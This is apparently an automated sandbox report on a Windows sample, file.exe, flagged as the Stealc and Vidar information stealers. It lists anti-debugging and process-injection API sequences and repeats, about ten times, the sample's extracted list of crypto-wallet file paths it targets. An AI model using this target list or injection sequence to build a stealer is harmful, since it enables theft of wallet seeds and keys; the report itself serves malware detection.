Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_0005B77A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0005B77A
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00429989 SetUnhandledExceptionFilter,	2_2_00429989
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00427DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_00427DAA
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004277C8 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_004277C8
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_6C57AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C57AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0006D18D GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_0006D18D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Users\user\Desktop\file.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_00424820 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,Process32Next,CloseHandle,		2_2_00424820
Source: C:\Users\user\Desktop\file.exe	Code function: 2_2_004248B0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,Process32Next,CloseHandle,		2_2_004248B0

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_6C5C4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

2_2_6C5C4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000598B5 cpuid

0_2_000598B5

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

2_2_00422F30

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00059546 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00059546

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_00422C10 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_00422C10

Source: C:\Users\user\Desktop\file.exe

Code function: 2_2_00422DE0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_00422DE0

Lowering of HIPS / PFW / Operating System Security Settings

Overwrites Mozilla Firefox settings

Source: C:\Users\user\Desktop\file.exe

File written: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Jump to behavior

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 2.2.file.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.file.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3674bf0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3674bf0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2322159441.0000000002F57000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2321595530.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1687554948.000000000362E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000002.00000002.2321595530.00000000004CC000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
